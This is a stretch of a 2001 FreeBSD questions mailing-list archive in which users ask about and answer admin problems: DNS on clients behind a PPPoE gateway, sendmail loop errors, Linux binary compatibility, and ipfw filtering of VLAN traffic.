BUT, none of the client workstations can find anything > on the Internet. So, no browsing, email, ftp, etc. All stations can ping > each other. > > The clients can reach the Internet address (get email, FTP, browse, etc) > IF, it is put into the "etc/hosts" file, whether it is Win2K or other BSD > boxes.... each client points to the default 192.168.0.1 INTERNAL IP > assigned to the gateway box running the DSL. The resolv.conf file for the > DSL box has the proper nameservers for the ISP. DNS is enabled in ppp.conf. > NAT and gateway is enabled in rc.conf. > > If my config files will help, let me know.... dumb question, but do the internal hosts have a DNS server configured? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 23:16:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id 95A5D37B418 for ; Fri, 23 Nov 2001 23:16:46 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fAO7GUR36520; Fri, 23 Nov 2001 23:16:31 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Anthony Atkielski" , "Jan Grant" Cc: "setantae" , "questions" Subject: RE: home pc use Date: Fri, 23 Nov 2001 23:16:30 -0800 Message-ID: <000501c174b7$f0bc6440$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 In-Reply-To: <053c01c1741a$b5b711d0$0a00000a@atkielski.com> Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: owner-freebsd-questions@FreeBSD.ORG >[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Anthony >Atkielski >Sent: Friday, November 23, 2001 4:31 AM >To: Ted Mittelstaedt; Jan Grant >Cc: setantae; questions >Subject: Re: home pc use > > >Ted writes: > >> You can't tell me that most computer users at >> the level of FreeBSD usage don't have access >> to a string of other systems, and don't have >> friends and family that they can borrow stuff >> from, and don't know how to take apart their >> computer. > >Well, I don't, except for the last point. > And so I suppose that my suggestion of a user's group was so awful that it wasn't even worth mentioning. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 23:25:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from imo-m04.mx.aol.com (imo-m04.mx.aol.com [64.12.136.7]) by hub.freebsd.org (Postfix) with ESMTP id 7C50D37B417 for ; Fri, 23 Nov 2001 23:25:06 -0800 (PST) Received: from Jwhtencate@aol.com by imo-m04.mx.aol.com (mail_out_v31_r1.9.) id n.39.1e2133e9 (4394) for ; Sat, 24 Nov 2001 02:25:04 -0500 (EST) From: Jwhtencate@aol.com Message-ID: <39.1e2133e9.2930a54f@aol.com> Date: Sat, 24 Nov 2001 02:25:03 EST Subject: mail loops back to me To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_39.1e2133e9.2930a54f_boundary" X-Mailer: AOL 6.0 for Windows US sub 10536 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --part1_39.1e2133e9.2930a54f_boundary Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I have a common problem that I do find back in several FAQ'sbut I don't seem= =20 to be able to find the solution. =A0=A0 ----- The following addresses had permanent fatal errors ----- someone@vwhatever.com =A0 =A0 (reason: system config error) =A0=A0 ----- Transcript of session follows ----- 553 5.3.5 whatever.com.mydomainname.com. config error: mail loops back to me= =20 (MX problem?) 554 5.3.5 Someone@whatever.com... Local configuration error I see so many FAQs about this subject but no answer is understandable enough= =20 for me to find the solution. I never see mentioned that my domain name is actually added to the address o= f=20 the person i want to send an email to. The strange thing is: =A0it does not always go wrong !!! If I send an email to any AOL address or hotmail address, it all works fine=20 and people do get the email but every other one (in general overseas) comes=20 back in the way I described.=20 Anyone one any idea ? Jwhtencate@aol.com --part1_39.1e2133e9.2930a54f_boundary Content-Type: text/html; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Hi,

I have a common problem that I do find back in several FAQ'sbut I don't=20= seem to be able to find the solution.


=A0=A0 ----- The following addresses had permanent fatal errors -----
someone@vwhatever.com
=A0 =A0 (reason: system config error)

=A0=A0 ----- Transcript of session follows -----
553 5.3.5 whatever.com.mydomainname.com. config error: mail loops= back to me (MX problem?)
554 5.3.5 Someone@whatever.com... Local configuration error


I see so many FAQs about this subject but no answer is understandable en= ough for me to find the solution.
I never see mentioned that my domain name is actually added to the addre= ss of the person i want to send an email to.
The strange thing is: =A0it does not always go wrong !!!
If I send an email to any AOL address or hotmail address, it all works f= ine and people do get the email but every other one (in general overseas) co= mes back in the way I described.=20

Anyone one any idea ?

Jwhtencate@aol.com
--part1_39.1e2133e9.2930a54f_boundary-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 23:38:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from chaos.evolve.za.net (chaos.evolve.za.net [196.34.172.107]) by hub.freebsd.org (Postfix) with ESMTP id 80B5037B416 for ; Fri, 23 Nov 2001 23:38:47 -0800 (PST) Received: from DAVE ([192.168.0.54]) by chaos.evolve.za.net (8.11.6/1.1.3) with SMTP id fAO7cg632085 for ; Sat, 24 Nov 2001 09:38:42 +0200 (SAST) (envelope-from dave@raven.za.net) Message-ID: <022001c174ba$a20721c0$3600a8c0@DAVE> From: "Dave Raven" To: Subject: bash error Date: Sat, 24 Nov 2001 09:35:46 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This morning I ssh'd into a server and recieved the following: Last login: Fri Nov 23 23:26:22 2001 from 192.168.0.18 Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.4-STABLE (ORDER) #3: Sat Nov 17 15:46:09 SAST 2001 -bash in malloc(): warning: recursive call. bash: xmalloc: cannot allocate 32 bytes (0 bytes allocated) After this I was booted out, Did bash crash? why is this? --Dave OpteqSec. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 0:21: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from topaz.mdcc.cx (topaz.mdcc.cx [212.204.230.141]) by hub.freebsd.org (Postfix) with ESMTP id 95AD037B405 for ; Sat, 24 Nov 2001 00:21:00 -0800 (PST) Received: from k7.mavetju.org (topaz.mdcc.cx [212.204.230.141]) by topaz.mdcc.cx (Postfix) with ESMTP id 5B0A22B696; Sat, 24 Nov 2001 09:20:57 +0100 (CET) Received: by k7.mavetju.org (Postfix, from userid 1001) id 8637C3AB; Sat, 24 Nov 2001 19:20:51 +1100 (EST) Date: Sat, 24 Nov 2001 19:20:51 +1100 From: Edwin Groothuis To: Jwhtencate@aol.com Cc: freebsd-questions@freebsd.org Subject: Re: mail loops back to me Message-ID: <20011124192051.B579@k7.mavetju.org> Mail-Followup-To: Edwin Groothuis , Jwhtencate@aol.com, freebsd-questions@freebsd.org References: <39.1e2133e9.2930a54f@aol.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5i In-Reply-To: <39.1e2133e9.2930a54f@aol.com>; from Jwhtencate@aol.com on Sat, Nov 24, 2001 at 02:25:03AM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Nov 24, 2001 at 02:25:03AM -0500, Jwhtencate@aol.com wrote: > I have a common problem that I do find back in several FAQ'sbut I don't seem > to be able to find the solution. > > >    ----- The following addresses had permanent fatal errors ----- > someone@vwhatever.com >     (reason: system config error) > >    ----- Transcript of session follows ----- > 553 5.3.5 whatever.com.mydomainname.com. config error: mail loops back to me > (MX problem?) > 554 5.3.5 Someone@whatever.com... Local configuration error Isn't this caused when your MTA doesn't know you're hosting vwhatever.com? Edwin -- Edwin Groothuis | Personal website: http://www.MavEtJu.org edwin@mavetju.org | Interested in MUDs? Visit Fatal Dimensions: ------------------+ http://www.FatalDimensions.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 0:25: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id 3DE7937B405 for ; Sat, 24 Nov 2001 00:24:54 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 167AhQ-0005bc-00; Fri, 23 Nov 2001 15:24:36 +0800 Date: Fri, 23 Nov 2001 15:24:31 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: Hainal Ramon Adrian Cc: freebsd-questions@FreeBSD.ORG Subject: Re: hi there .. i have a problem !!! In-Reply-To: <20011122131409.65568.qmail@web12208.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi. Either add "linux_enable="YES" in your /etc/rc.conf or enter 'linux' at the prompt. both will load the linux.ko module. you should then be able to execute linux elf binaries. On Thu, 22 Nov 2001, Hainal Ramon Adrian wrote: > hi there ,, > > i want to ask something that it is bothering me on > freebsd.... > > before freebsd i had red hat linux 6.2 ...and on linux > i had some binary files that i used...and now on > freebsd that binery files won't work... > i asked some friends how could i make them work on > freebsd and they said to try with brandelf..but i > didn't work..or i was using brandelf in the wrong > way.. > other friends said to try to recompile the files for > freebsd ..but i don't know how to do that..:{{{.. > > please help me with this matter because i realy need > those files .... > > or should i install linux 6.2 again ??? > > please excuse my english .... > > Thank You . > > __________________________________________________ > Do You Yahoo!? > Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. > http://geocities.yahoo.com/ps/info1 > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 0:27:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 535B837B405 for ; Sat, 24 Nov 2001 00:27:40 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAO8RZC04019; Sat, 24 Nov 2001 09:27:35 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <060201c174c1$dec11330$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Edwin Groothuis" Cc: "FreeBSD Questions" References: <05d301c17478$0a774250$0a00000a@atkielski.com> <20011124113104.A579@k7.mavetju.org> Subject: Re: Disabling IPv6 support for now Date: Sat, 24 Nov 2001 09:27:34 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Edwin writes: > man faith gives: > faith - IPv6-to-IPv4 TCP relay capturing > interface Whatever that is! Now I'm wondering: Is the current "native" protocol of FreeBSD IPv4 or IPv6? That is, is it still primarily an IPv4 system internally, or have most kernel stuff and system programs been converted to IPv6? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 0:30:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 9A17E37B416 for ; Sat, 24 Nov 2001 00:30:11 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAO8TtC04030; Sat, 24 Nov 2001 09:29:56 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <060b01c174c2$3296ddf0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Matthew Emmerton" Cc: "FreeBSD Questions" References: <5.1.0.14.0.20011123190656.02e32cf8@mail.enterit.com> <5.1.0.14.0.20011123215832.02f4cad0@mail.enterit.com> <004a01c17491$93544d20$1200a8c0@gsicomp.on.ca> Subject: Re: Odd messages at startup after deleting device drivers Date: Sat, 24 Nov 2001 09:29:55 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Does this mean that the specifications for these devices in the /sys/i386 configuration file are redundant, or what? ----- Original Message ----- From: "Matthew Emmerton" To: "Anthony Atkielski" ; "Jim Conner" Cc: "FreeBSD Questions" Sent: Saturday, November 24, 2001 03:41 Subject: Re: Odd messages at startup after deleting device drivers > Some network cards, such as those using the 'ed' driver, have IRQ, port and > memory addresses specified in the kernel configuration file. If you should > happen to replace a failed card with a replacement, that has different > settings, you can just edit a few lines in /boot/kernel.conf rather than > rebuilding the entire kernel with the new settings. > > -- > Matt Emmerton > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 0:38:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mauibuilt.com (mauibuilt.com [205.166.249.50]) by hub.freebsd.org (Postfix) with ESMTP id E841537B416 for ; Sat, 24 Nov 2001 00:38:43 -0800 (PST) Received: from mauibuilt.com (puga@puga.mauibuilt.com [205.166.10.2]) by mauibuilt.com (8.11.6/8.11.6) with ESMTP id fAO8cgP24300 for ; Fri, 23 Nov 2001 22:38:42 -1000 (HST) (envelope-from puga@mauibuilt.com) Message-ID: <3BFF5C8C.1CC4A6FF@mauibuilt.com> Date: Fri, 23 Nov 2001 22:38:36 -1000 From: Chuck Root Reply-To: puga@mauibuilt.com Organization: Maui Built Machines X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Subject: IPFW/VLAN Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am trying to use a freebsd box with 2 fxp NIC's in it as a firewall between 2 points on a 802.1q tagged vlan trunk. I am bridging the interfaces using the BRIDGING option in the kernel and I am using ipfw to filter pakets. The bridge and ipfw work fine with normal pakets but the ones with 802.1q tages slip right on by. is there any way to do this? I have tried bridging the vlans them selfs with no luck. Thanks in advance.. Richard Puga puga@mauibuilt.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 2: 8:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from cmailg1.svr.pol.co.uk (cmailg1.svr.pol.co.uk [195.92.195.171]) by hub.freebsd.org (Postfix) with ESMTP id AFB7A37B417 for ; Sat, 24 Nov 2001 02:08:14 -0800 (PST) Received: from modem-948.arbok.dialup.pol.co.uk ([217.135.19.180] helo=jessikat.fsnet.co.uk) by cmailg1.svr.pol.co.uk with esmtp (Exim 3.13 #0) id 167ZjH-0001Wk-00 for freebsd-questions@freeBSD.ORG; Sat, 24 Nov 2001 10:08:13 +0000 Message-ID: Date: Sat, 24 Nov 2001 10:07:56 +0000 To: freebsd-questions@freeBSD.ORG From: Robin Becker Subject: blank mail MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 5.01 U <8fY3TEtAaFySF58ErPUfo9YLW3> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I keep getting lots of mails like this. Anyone figure out what/where it comes from From <> Sat Nov 24 09:54:21 2001 Received: from pop.freeserve.net by jessikat.fsnet.co.uk with POP3 id <"1006579928.22040.imailm1.svr.pol.co.uk".jessikat.fsnet.co.uk@pop.freeserve.net> for ; Sat, 24 Nov 2001 09:54:21 +0000 X-From_: owner-freebsd-questions@FreeBSD.ORG Sat Nov 24 05:32:08 2001 Envelope-to: robin@jessikat.fsnet.co.uk Delivery-date: Sat, 24 Nov 2001 05:32:08 +0000 Received: from [216.136.204.119] (helo=mx2.freebsd.org) by imailm1.svr.pol.co.uk with esmtp (Exim 3.33 #1) id 167VQ8-0005jQ-00 for robin@jessikat.fsnet.co.uk; Sat, 24 Nov 2001 05:32:08 +0000 Message-Id: From: owner-freebsd-questions@FreeBSD.ORG Bcc: Date: Sat, 24 Nov 2001 05:32:08 +0000 -- Robin Becker To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 2:37:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from nelly.internal.irrelevant.org (irrelevant.demon.co.uk [158.152.220.121]) by hub.freebsd.org (Postfix) with ESMTP id 65CEE37B417 for ; Sat, 24 Nov 2001 02:37:49 -0800 (PST) Received: from simond by nelly.internal.irrelevant.org with local (Exim 3.33 #1) id 167aBi-0000Na-00; Sat, 24 Nov 2001 10:37:34 +0000 Date: Sat, 24 Nov 2001 10:37:34 +0000 From: Simon Dick To: Jim Conner Cc: The Anarcat , cjclark@alum.mit.edu, FreeBSD Questions Subject: Re: can't do reverse dns with /etc/hosts Message-ID: <20011124103734.GB386@irrelevant.org> References: <5.1.0.14.0.20011123164749.0245ec60@mail.enterit.com> <20011114173647.D66694@blossom.cjclark.org> <20011115012039.GA61093@shall.anarcat.dyndns.org> <20011114173647.D66694@blossom.cjclark.org> <5.1.0.14.0.20011123164749.0245ec60@mail.enterit.com> <5.1.0.14.0.20011123172728.02c61518@mail.enterit.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5.1.0.14.0.20011123172728.02c61518@mail.enterit.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 23, 2001 at 05:30:43PM -0500, Jim Conner wrote: > At 16:30 11.23.2001 -0500, The Anarcat wrote: > >On Fri Nov 23, 2001 at 04:48:54PM -0500, Jim Conner wrote: > >> At 16:14 11.23.2001 -0500, The Anarcat wrote: > >> >On Wed Nov 14, 2001 at 05:36:47PM -0800, Crist J. Clark wrote: > >> >> > >> >> host(1) _always_ uses DNS. > >> >> > >> > > >> >Doh! I should have RTFM... sorry. > >> > > >> >Is there a tool that doesn't use just DNS? > >> > >> grep hostname /etc/hosts > >> grep password /etc/hosts > >> > >> Those ought to work. > > > >The thing is that I want to test the functionality of the resolver. > > > >I need a simple userland gethostby* interface. :) nslookup and host and > >friends are all DNS oriented, IIUC. > > > >Anyways, I'll probably end up writing my own one-liner. ;) > > Unfortunately, I am not familiar with such a thing. I have been in need of > the same kind of tool. I will be interested to see what others say. It > seems obvious to me that this is not a name lookup mechanism but a type of > Unix lookup since the /etc/hosts file was used way before DNS was ever > thought up. There must be a built-in tool/library somewhere that can do > what you are trying to accomplish. I guess my method of just using ping and seeing what IP it tries to ping won't be suitable for this? :) -- Simon Dick simond@irrelevant.org "Why do I get this urge to go bowling everytime I see Tux?" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 3: 0:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from andrsn.stanford.edu (andrsn.Stanford.EDU [171.66.112.163]) by hub.freebsd.org (Postfix) with ESMTP id 471F037B405 for ; Sat, 24 Nov 2001 03:00:07 -0800 (PST) Received: from localhost (andrsn@localhost.stanford.edu [127.0.0.1]) by andrsn.stanford.edu (8.9.3/8.9.1) with ESMTP id CAA16845; Sat, 24 Nov 2001 02:59:54 -0800 (PST) Date: Sat, 24 Nov 2001 02:59:54 -0800 (PST) From: Annelise Anderson To: jacks@sage-american.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re: PPPoE on DSL Clients In-Reply-To: <3.0.5.32.20011123232154.0100ffd0@mail.sage-american.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 23 Nov 2001 jacks@sage-american.com wrote: > Well.... finally got PPPoE on DSL working just fine on a FreeBSD server. > Only one problem left to solve and hope for a little more help. > > The BSD server/gateway (dynamic IP) can ping out and resolves addresses > without any problem, BUT, none of the client workstations can find anything > on the Internet. So, no browsing, email, ftp, etc. All stations can ping > each other. > The clients can reach the Internet address (get email, FTP, browse, etc) > IF, it is put into the "etc/hosts" file, whether it is Win2K or other BSD > boxes.... each client points to the default 192.168.0.1 INTERNAL IP > assigned to the gateway box running the DSL. The resolv.conf file for the > DSL box has the proper nameservers for the ISP. DNS is enabled in ppp.conf. > NAT and gateway is enabled in rc.conf. I think you nameserver has to be in resolv.conf (or the comparable Windows setup) on each client. Annelise -- Annelise Anderson Author of: FreeBSD: An Open-Source Operating System for Your PC Available from: mall.daemonnews.org and amazon.com Book Website: http://www.bittreepress.com/FreeBSD/introbook/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 3:42:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailout02.sul.t-online.de (mailout02.sul.t-online.com [194.25.134.17]) by hub.freebsd.org (Postfix) with ESMTP id CCBB437B416 for ; Sat, 24 Nov 2001 03:42:08 -0800 (PST) Received: from fwd07.sul.t-online.de by mailout02.sul.t-online.de with smtp id 167bC7-0005fo-06; Sat, 24 Nov 2001 12:42:03 +0100 Received: from peedub.muc.de (520017439985-0001@[217.80.233.33]) by fmrl07.sul.t-online.com with esmtp id 167bC3-24eghkC; Sat, 24 Nov 2001 12:41:59 +0100 Received: by peedub.muc.de (8.11.6/8.11.1) id fAOBfoq08976; Sat, 24 Nov 2001 12:41:50 +0100 (CET) (envelope-from garyj) Message-Id: <200111241141.fAOBfoq08976@peedub.muc.de> Content-Type: text/plain; charset="iso-8859-1" From: Gary Jennejohn Reply-To: garyj@jennejohn.org To: Annelise Anderson , jacks@sage-american.com Subject: Re: PPPoE on DSL Clients Date: Sat, 24 Nov 2001 12:41:50 +0100 X-Mailer: KMail [version 1.3.1] Cc: freebsd-questions@FreeBSD.ORG References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Sender: 520017439985-0001@t-dialin.net Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Saturday 24 November 2001 11:59, Annelise Anderson wrote: > On Fri, 23 Nov 2001 jacks@sage-american.com wrote: > > Well.... finally got PPPoE on DSL working just fine on a > > FreeBSD server. Only one problem left to solve and hope for > > a little more help. > > > > The BSD server/gateway (dynamic IP) can ping out and > > resolves addresses without any problem, BUT, none of the > > client workstations can find anything on the Internet. So, > > no browsing, email, ftp, etc. All stations can ping each > > other. > > > > The clients can reach the Internet address (get email, FTP, > > browse, etc) IF, it is put into the "etc/hosts" file, > > whether it is Win2K or other BSD boxes.... each client > > points to the default 192.168.0.1 INTERNAL IP assigned to > > the gateway box running the DSL. The resolv.conf file for > > the DSL box has the proper nameservers for the ISP. DNS is > > enabled in ppp.conf. NAT and gateway is enabled in rc.conf. > > I think you nameserver has to be in resolv.conf (or the > comparable Windows setup) on each client. > > Annelise I recently set up something similar for a friend. He also has some windoze boxes on his network. It was not necessary to do anything special on the windoze machines. I did however put ``enable dns'' in ppp.conf so that ppp automatically puts the nameservers into /etc/resolv.conf on the FBSD router. Maybe this line is missing. -- Gary Jennejohn garyj@jennejohn.org gj@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 3:49: 1 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp-1.visp.telinco.net (smtp-1.visp.telinco.net [212.1.130.1]) by hub.freebsd.org (Postfix) with ESMTP id 293A837B417 for ; Sat, 24 Nov 2001 03:48:58 -0800 (PST) Received: from [212.1.140.122] (helo=me01) by smtp-1.visp.telinco.net with smtp (Exim 3.32 #1) id 167bHU-00023i-00 for FreeBSD-Questions@FreeBSD.ORG; Sat, 24 Nov 2001 11:47:36 +0000 Message-ID: <002201c174de$458b3fc0$7a8c01d4@wintellect.com> From: "Philip Pereira" To: Subject: Traditionalist Installation Date: Sat, 24 Nov 2001 11:47:48 -0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0018_01C174DD.D6988A00" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0018_01C174DD.D6988A00 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hey Everyone! Am a "newbie" (part of the forum too) and love FreeBSD. I've had it only = 3 months, but can already re-compile my kernel (am please with myself). Just a quick question - I want to learn things the traditional way... = Where can I find some FreeBSD compatible applications and how can I = compile / install them on my system (avoiding the ports collection, = etc.) Cheers Phil. ------=_NextPart_000_0018_01C174DD.D6988A00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hey Everyone!
 
Am a "newbie" (part of the forum too) = and love=20 FreeBSD. I've had it only 3 months, but can already re-compile my kernel = (am=20 please with myself).
 
Just a quick question - I want to learn = things the=20 traditional way... Where can I find some FreeBSD compatible applications = and how=20 can I compile / install them on my system (avoiding the ports = collection,=20 etc.)
 
Cheers
 
Phil.
------=_NextPart_000_0018_01C174DD.D6988A00-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 4:28: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21]) by hub.freebsd.org (Postfix) with ESMTP id E615737B405 for ; Sat, 24 Nov 2001 04:27:59 -0800 (PST) Received: from [212.238.77.116] (helo=buffy.raggedclown.net) by post.mail.nl.demon.net with esmtp (Exim 3.33 #1) id 167buX-0004SD-00 for freebsd-questions@FreeBSD.ORG; Sat, 24 Nov 2001 12:27:58 +0000 Received: by tanya.raggedclown.net (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 2CCF11104; Sat, 24 Nov 2001 13:27:05 +0100 (CET) Date: Sat, 24 Nov 2001 13:27:04 +0100 From: Cliff Sarginson To: FreeBSD Questions Subject: Re: can't do reverse dns with /etc/hosts Message-ID: <20011124132704.A1048@raggedclown.net> References: <5.1.0.14.0.20011123164749.0245ec60@mail.enterit.com> 